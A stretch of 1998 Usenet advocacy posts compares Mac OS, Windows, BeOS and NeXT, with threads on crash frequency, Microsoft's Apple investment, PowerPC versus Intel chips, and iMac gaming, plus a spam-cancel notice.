> under GPL so you can compile it for your Alpha, no problem, but if you
> are like me (there happens to be a LARGE number of us), you have more
> than one os on your computer so you can run certain software under
> its appropriate os. Just try to find any modern games other than
> idSoftware games, for instance, that run on Linux. What's that? You
> can't find any? That's right...for now, at least.
>
> I run RedHat Linux 5.1 MOST of the time anymore, but on occasion I have
> to reboot to OS/2 to do some things and when I want to run a game, I
> almost invariably have to reboot to Win95. You can't get Win95 (or OS/2
> for that matter) for an Alpha...and NT doesn't count because you can't
> run Winblows games in NT on an Alpha -they are almost all exclusively
> made for i386 processors.
>
> Now, as for the G3, or PPC...if it were still possible to buy the
> components (motherboard, CPU(s), etc) without having to shell out
> for an entire (nasty) Mac computer (with its dismal MacOS), I would
> do it for a toy...I could then run BeOS and PPCLinux on it (notice,
> I do not desire MacOS to come anywhere near the CPU to hobble the
> entire thing). Unfortunately, I STILL wouldn't be able to play most
> games on it (even if MacOS was on it...most games, this is a fact,
> are made for the i386 systems - those that produce for both almost
> invariably produce a Mac version much later than their primary i386
> version).
I see. You don't mind running Win95 and NT, but you won't run the
"dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
Because you're nuts!
George Graves
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 06 Aug 1998 11:19:56 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0608981119560001@castle.webis.net>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net> <andyba-ya02408000R0508981534110001@news> <35C8ED8B.13026496@ericsson.com>
NNTP-Posting-Date: 6 Aug 1998 16:19:49 GMT
In article <35C8ED8B.13026496@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
: Andy Bates wrote:
:
: > > The original Copland appearance manager was *way* more
: > > ambitious, and the reason they threw out all the really good stuff was
: > > to make it so any old user could make a "Theme".
: >
: > Just out of curiosity, what was so powerful about the original Copland
: > appearance manager, and why do you think they won't add that functionality
: > into Themes?
:
: The original Copland manager, as I pieced it together from presentations
: given in public and to Dad, who interviewed with Apple at the time,
: would have allowed you to load in dynamic object code to replace
: existing interface code. It let you change the way the interface
: *worked*, not just the way it looked and sounded.
:
: There is a fundamental difference between this kind of functionality and
: the kind currently being offered. Basically, you would have had to be a
: programmer to create Themes in the Copland version. The current Themes
: manager just lets you plug and play one-to-one mappings between graphics
: and sound. It's a totally different kind of thing. It's like the
: difference between making significant functionality changes to a
: program's code, and simply changing some of the resources with ResEdit.
Well good, then. You'll like MOST of the new Theme's support in Appearance
1.1 under 8.5. It DOES let you replace existing interface code - to a
point. For example, you could implement a new widget that miniturized a
window insted of windowshading it.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
Date: Thu, 06 Aug 1998 19:09:31 -0400
From: lpreuss@provide.net (Larry Preuss)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Message-ID: <lpreuss-ya02408000R0608981909310001@news.provide.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
In article <35CA2BFE.19FEA581@pilot.msu.edu>, "Wes Mininger (pyr)"
<mininger@pilot.msu.edu> wrote:
">"I think the main reason that M$invested in apple is so they would be
">"able to say 'See we arent a monopoly!' That is about the extent of it.
">"Plus they have a nice business making software as was mentioned. It
">"really dont have to do with much else I believe.
That's sort of a strange thought. An investment in Apple carries with it a
modicum of control, and thus would be more pro- than anti-monopolistic for
Microsoft.
--
Larry Preuss
Ann Arbor, MI
USA
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 6 Aug 1998 16:12:11 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6qddq2$819$1@plo.sierra.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 6 Aug 1998 23:21:38 GMT
bobstaff@jhunix.hcf.jhu.edu wrote in message
<6qd6fk$p28$1@nnrp1.dejanews.com>...
>
>Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
>crashes, tho)
>WinNT - c+ (Once per 6-8 hours of solid use)
>MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
Wow. I've only had one crash ever on NT, and BeOS only half a crash. Give
MacOS 8 a c-, since when apps crash, they take down the system more often
that apps do in Win95.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 23:14:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qddcg$2ms$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com>
In article <6qd6fk$p28$1@nnrp1.dejanews.com>,
bobstaff@jhunix.hcf.jhu.edu wrote:
> I would have put...
>
> Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
> crashes, tho)
> WinNT - c+ (Once per 6-8 hours of solid use)
> MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
>
> Win95 and MacOS crash about the same for me (a lot). WinNT crashes _less_ but
> not enough to make me happy. Maybe its just me?
Your average crash time is once every 3-4 hours and you have them a C? I would
have given them a D. I think of something like QNX having an A+.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Wes Mininger (pyr)" <mininger@pilot.msu.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Thu, 06 Aug 1998 19:30:58 -0400
Organization: Michigan State University
Message-ID: <35CA3CB2.6816A6BC@pilot.msu.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu> <lpreuss-ya02408000R0608981909310001@news.provide.net>
Mime-Version: 1.0
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Not quite tho. Some measure of control really means nothing. When a
court looks at M$ and says that it is a monopoly, it is looking purely
at the numbers, such as how many computers are using mac, linux, BeOS,
and naturally Win95 and NT. So, M$ stands to benefit if the MacOS does
well simply because it helps keep M$ out of trouble, since the numbers
make it look like M$ does not have a monopoly when it in fact does. This
may seem odd, but how can M$ have a monopoly when they 'only' (!) have
90% of the market? So, M$ stands to benefit by Apple doing well with
its MacOS simply because, not only does it 'soften' the numbers, but it
also provides a more or less captive market when not all that many
develoupers are creating software for the MacOS (dont bother flaming me
for this.. I know there are develoupers making software for mac blah
blah blah. I dont care...). It seems kind of obvious to me why it is
good for M$ to promote another OS. My way of explaining it may be a
little wierd but the idea remains correct
Larry Preuss wrote:
>
> In article <35CA2BFE.19FEA581@pilot.msu.edu>, "Wes Mininger (pyr)"
> <mininger@pilot.msu.edu> wrote:
>
> ">"I think the main reason that M$invested in apple is so they would be
> ">"able to say 'See we arent a monopoly!' That is about the extent of it.
> ">"Plus they have a nice business making software as was mentioned. It
> ">"really dont have to do with much else I believe.
>
> That's sort of a strange thought. An investment in Apple carries with it a
> modicum of control, and thus would be more pro- than anti-monopolistic for
> Microsoft.
>
> --
> Larry Preuss
> Ann Arbor, MI
> USA
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 06 Aug 1998 10:43:44 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0608981043450001@sdn-ar-001casbarp201.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0> <MPG.10336abdffe86b6c989778@news.itg.ti.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <MPG.10336abdffe86b6c989778@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> > > FUnny how my "fact free opinion" is usually backed with url's. This is a
> > > second post of your and still it contains no facts... Post some of these
> > > "factually inaccurate" posts by me? I am not a genius, but at least I am
> > > interested in facts and back up with what I say.
> > >
> > > This article I originally quote claimed a imac would be TWICE as fast as a
> > > p2 300. My posts in the g3 versus p2 speed debate has used as evidence
> >
> > UP TO twice as fast.
> >
> > UP TO
> >
> > UP TO
> >
> > UP TO
> >
> > Get it yet?
Oh screw it, Joe didnt even read my reposting of the article, so their is
no reason to argue with this spam bot. I have already killed Joe, now if
people would just ignore the F'er CSMA would be such a happier place...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 06 Aug 1998 11:30:09 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0608981130100001@sdn-ar-001casbarp069.dialsprint.net>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <35C23CFF.74C99D5B@exu.ericsson.se> <6qclg8$eth$1@news02.btx.dtag.de>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6qclg8$eth$1@news02.btx.dtag.de>, Fam.Traeger@t-online.de
(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> And you'll have a graphics card at least 4 years old, if it was cutting
> edge it'll be local bus and you couldn't use it even if you found
> drivers. Plus a HD slightly bigger and faster than a ZIP-drive.
>
> In the end you didn't upgrade an old computer, you crippled a new one.
>
> > A Pentium-II upgrade is not necessary, however, for Mr Hiebert's
> > challenge of running NT 5.0. An Evergreen i586 upgrade will do the job
> > just fine; the cost will come in around $100 or less.
>
> But you still have the GC and HDD.
So, F'ing what? You pay $200 for a p2 on a MB, and you are complaining it
still has a small hard drive and 4 year old graphics card? If you have a
7500 100 and pony up 3 times that ammount for a g3 card, you still have
the same old graphics card, hard drive etc, but you get the pleasure of
paying 3 times as much. If you have a 2 si, you get to stick with the
same cheesy hard drive, graphics card etc and you DONT have a chance to
buy a g3 and motherboard for $200. AInt choice great?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 6 Aug 98 16:45:52 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EF8E4C-21EAA@206.165.43.105>
References: <kindall-0608981833260001@nic-c41-094.mw.mediaone.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.be.advocacy,
nntp://news.primenet.com/comp.sys.intel
Jerry Kindall <kindall@mail.manual.com> said:
>In article <35ca2993.0@news.depaul.edu>, Jonathan W Hendry
><jhendry@shrike.depaul.edu> wrote:
>
>> In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu>
wrote:
>>
>> > Nah. Apple is now a subsidiary, for all practical purposes, or a
>> > "protectorate" if you like, of M$. The money from Gates is NOT
>> > charity and it DOES carry tentacles that bind.
>>
>> Nonsense. The shares are 'non-voting', which means they have no
>> say. Microsoft has influence, but it's not due to their token
>> investment (which was pocket change to Apple). Microsoft's
>> influence stems entirely from their software.
>
>The shares Microsoft bought _were_ non-voting, but they were convertible
>to voting shares after a year, and guess what? A year's up... they can
>convert them at any time.
3 years, I believe, not 1.
Also, I've heard that they have to be sold in order to be converted.
Most importantly, MS bought the shares as part of an out-of-court
settlement of patent theft. MS's influence is via the importance of its
software to the continued well-being of Apple. Amelio wanted MS Office for
Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office for
MacOS and then changed the name of Rhapsody to MacOS.
It will be interesting to see if MS programs for Carbon or for pre-Carbon
MacOS APIs...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 6 Aug 98 16:55:26 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EF9081-2A368@206.165.43.105>
References: <35c9bbb1.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <B1EE0DFF-10611@206.165.43.42>, "Lawson English"
> <english@primenet.com> wrote:
> > Joe Ragosta <joe.ragosta@dol.net> said:
> > That was before the SOI announcement. Even if G4 ships, will the speed
>> > differential be enough to justify the extra cost of Apple using it?
>
>> Extra cost? The G3/366 is $595 in quantities of 1000. How much is the
>450
>> MHz PII (which probably isn't as fast).
>
>> Let's call the performance a wash. Let's even say that the PII is as low
>> as $595 (which is doubtful).
>
>I actually think the PII is less expensive, or at a similar price. Intel
>is under serious price pressure right now thanks to AMD, Cyrix, and
>IDT.
>
>I recently checked this out and was surprised that the PPC was so
>expensive.
I just don't understand the question.
The point, as I meant to make it, was comparing the cost of using the G4 at
a certain speed (benchmark score) vs using the SOI-based G3's.
The only semi-announced G4 CPU is 64-bit. To use that properly, one would
need a newly designed motherboard. If you only use the 32-bit portion (e.g.
the 32-bit mode of the 620), you're left with a REALLY expensive CPU where
as many as 1/2 of the transistors are unused (don't know how much more a
64-bit CPU costs, transistor-wise, but I'll bet it approaches 2x as many
transistors outside the L1 cache).
If the first G4's are no faster than the SOI-based G3's, AND are 64-bit,
there's likely no reason for Apple to start using them in the near-term.
Remember also that MacOS X is being positioned as a *consumer* OS, and
there's no conceivable use for a 64-bit *consumer* OS for the rest of this
century.
My guess is that Apple simply won't make use of the G4 series until an
AltiVec, 32-bit CPU comes out.
Too expensive, otherwise.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Is Merced doomed?
Date: 6 Aug 1998 20:39:55 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qd4ar$c0k@newsb.netnews.att.com>
References: <01bdc157$4c555c20$06387880@chewy>
Originator: gupta@tlctest
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>Interesting article at News.com regarding Intel's IA-64 chip's
>prospects:
>
>Is Merced doomed?
>http://www.news.com/News/Item/0,4,24990,00.html?st.ne.fd.gif.d
>
>To summarize, Merced's release date continues to slip, and by the time
>it ships, chips by other companies as well as Intel and HP will be
>available or right around the corner that will rival Merced.
Another thing to note in the article above is that PowerPC
architect and guru Keith Dieffendorf (spelling?) is now editor at
Microprocessor Reports. ( That publication has so far seen PowerPC
as technically excellent but marketwise irrelevant. ) The article
above quotes him as saying that he has seen nothing so far that would
make Merced outperform RISC. I would imagine that that is an
opinion to be taken seriously.
-arun gupta
From: bobstaff@jhunix.hcf.jhu.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 21:16:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qd6fk$p28$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>
In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Win95 - B+
> MacOS 6.x and earlier - C-
> MacOS 7.x - C to C+
> MacOS 8 - B
>
I would have put...
Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
crashes, tho)
WinNT - c+ (Once per 6-8 hours of solid use)
MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
Win95 and MacOS crash about the same for me (a lot). WinNT crashes _less_ but
not enough to make me happy. Maybe its just me?
dIsCoRd
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <35c9bbb1.0@news.depaul.edu> <B1EF9081-2A368@206.165.43.105>
Message-ID: <35ca4ac3.0@news.depaul.edu>
Date: 7 Aug 98 00:30:59 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> The point, as I meant to make it, was comparing the cost of using the G4 at
> a certain speed (benchmark score) vs using the SOI-based G3's.
You're assuming that the G4 won't get SOI. Why? There is no evidence
on which to base that conclusion.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Thu, 06 Aug 1998 17:38:12 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0608981738120001@sdn-ar-001casbarp154.dialsprint.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <SCJennings-0608981141200001@192.168.1.13>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <SCJennings-0608981141200001@192.168.1.13>,
SCJennings@prowillen.com (Sam Jennings) wrote:
> Actually, come to think of it since its
> > part of the logic board it wouldnt really work well as a BTO option. They
> > should just replace the rage II with a vodoo 1.
>
> According to an article on MacWeek www site today, the iMac will not be
> sold with any Built-to-Order options:
>
> http://macweek.zdnet.com/1230/nw_apple.html
>
> an extract from the article:
>
> Retailers who participate in the Reseller BTO program will have access to
> a variety of options to order customized systems, Apple said. Additional
> products will be added to the BTO list in the coming months, the company
> said, but the iMac won't be one of them.
>
> "The iMac wouldn't apply because it's a preconfigured system," said Apple
> spokeswoman Rhona Hamilton.
>
>
> Sam Jennings
Thats ok, at the bottom of my post I realized it wouldnt work anyways,
since the card is part of the mb and it would take to much work to change
it
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 06 Aug 1998 17:34:56 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0608981734570001@sdn-ar-001casbarp154.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0> <MPG.10336abdffe86b6c989778@news.itg.ti.com> <DarnedToHeck-0608981704480001@cc962257-a.vron1.nj.home.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
> The iMac short compares an iMac (actually a tad faster than a desktop G3
> of the same cpu) to a *Celeron* based PC.
>
> I wonder if the iMac is *only* twice as fast!
TRue, the commercial says the imac is twice as fast as a measly p2 266
celery system. The letter to the editor I posted, said a g3 was AT LEAST
twice as fast as a p2 400. A p2 400 is a tad bit faster than a CELERY,
and only 266 mhz at that.
*IF* JOe had BOTHERED to read my post, he would of seen the absurd comment
I quoted said "Peter Lewis, author of the biased and misinformed article,
obviously has never seen or used the new macintosh g3, which is AT LEAST
TWICE AS FAST AS A 400 MHZ INTEL PC
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.marketplace
Subject: cmsg cancel <06089817.3028@no5rma4.net>
Control: cancel <06089817.3028@no5rma4.net>
Date: 07 Aug 1998 00:47:06 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.06089817.3028@no5rma4.net>
Sender: ph8yllis@no5rma4.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <35c9bbb1.0@news.depaul.edu> <B1EF9081-2A368@206.165.43.105> <35ca4ac3.0@news.depaul.edu>
Message-ID: <35ca55d0.0@news.depaul.edu>
Date: 7 Aug 98 01:18:08 GMT
In comp.sys.next.advocacy Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> > The point, as I meant to make it, was comparing the cost of using the G4 at
> > a certain speed (benchmark score) vs using the SOI-based G3's.
> You're assuming that the G4 won't get SOI. Why? There is no evidence
> on which to base that conclusion.
And to expand on this...
Lawson, AFAICT SOI is a change in *process* not *architecture*. It's
not like AltiVec, it's more like changing from .25 micron to .18 micron.
The architecture changes little, if at all, and the enhancement
will work with anything: G3, G4, heck AMD K6 if IBM still does
their fab work.
My understanding was that, when they make the wafers, they'll
put in a new, special layer of insulation, in between other
layers that they already put down to make a chip.
It's like using better paper in your printer. Looks better, no
matter what you print *on* it. In IBM's case, they figured
out how to improve the 'paper' on which the CPU's circuits
are 'printed'.
Once they get mass production down, there should be no technical
reason why IBM can't use the same process on all the PowerPC CPU's
they make from then on. G3, G4, etc.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Is Merced doomed?
Date: 7 Aug 1998 01:13:51 GMT
Organization: Idiom Communications
Message-ID: <6qdkcf$fu5$1@news.idiom.com>
References: <01bdc157$4c555c20$06387880@chewy> <joe.ragosta-0608981346240001@wil38.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: joe.ragosta@dol.net
Joe Ragosta may or may not have said:
-> In article <01bdc157$4c555c20$06387880@chewy>, "Todd Heberlein (todd at
-> NetSQ dot com)" <todd@dev.null> wrote:
->
-> > Interesting article at News.com regarding Intel's IA-64 chip's
-> > prospects:
-> >
-> > Is Merced doomed?
-> > http://www.news.com/News/Item/0,4,24990,00.html?st.ne.fd.gif.d
-> >
-> > To summarize, Merced's release date continues to slip, and by the time
-> > it ships, chips by other companies as well as Intel and HP will be
-> > available or right around the corner that will rival Merced.
->
-> Rival?
->
-> SGI claims that their MIPS chip due within two years will blow the doors
-> off Merced. So, a year earlier and faster.
Not only that, SGI is a company whose engineers understand how to build a
buss and storage architecture that really *performs*. CPU speed isn't the
most important thing when you're building a server.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: ante@Zeke.Update.UU.SE (Andreas Gustafsson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: 7 Aug 1998 03:25:32 +0200
Organization: Update Computer Club
Message-ID: <6qdl2c$k74$1@Zeke.Update.UU.SE>
Chad <lakari@earthlink.net> writes:
>The reason the voodoo is so cheap is that it's not a complete video
>controller. It only enhances 3d games that are written specifically to take
>advantage of it. All other video functions are passed through the card from
>the normal video controller and to the screen. I've got a 233 G3 minitower
>with the Rage II chip in it...I'm not a hard core gamer, but I do enjoy
>playing Quake and the like now and then. It still kicks ass, even without
>3Dfx acceleration...very high frame rates at high resolution and detail. I
>think the iMac will be more than adequate for most home users.
Well, then just put two cards in the computer then!
I think that selling a machine to the desktop, trying to win the
home market without including the a 3Dfx card is impossible.
If Jobs think iMac is a gaming machine, he thinks very wrong. 3Dfx
has become so much of an standard that just about every other new
game supports it. It might not be good for everything, but I know
that people has been known to buy louse wintel boxes just to play
voodoo enhanced games. Try to make that kind of customer buy an iMac
instead and you're beginning to make money.
Advanced hardware today must support the hottest entertainment software
to sell.
I do hope iMac Mk. II will be equipped with a voodoo2 board, othervise
gamers are probably going to buy wintel. I know. I did.
/andreas
--
=-=-=-=-=-=-=-=-=-=-=-=-=-= Ad Astra!! =-=-=-=-=-=-=-=-=-=-=-=-=-=
Me: sf-fan, philosopher, historian, dreamer...
Loves: my good friends, ale, art in many forms, dreaming...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-= mail me: ante@update.uu.se /FIAWOL!
From: datamagik@usa.net (Jay Riley)
Newsgroups: comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Cool Screenshot: MacOS under BeOS
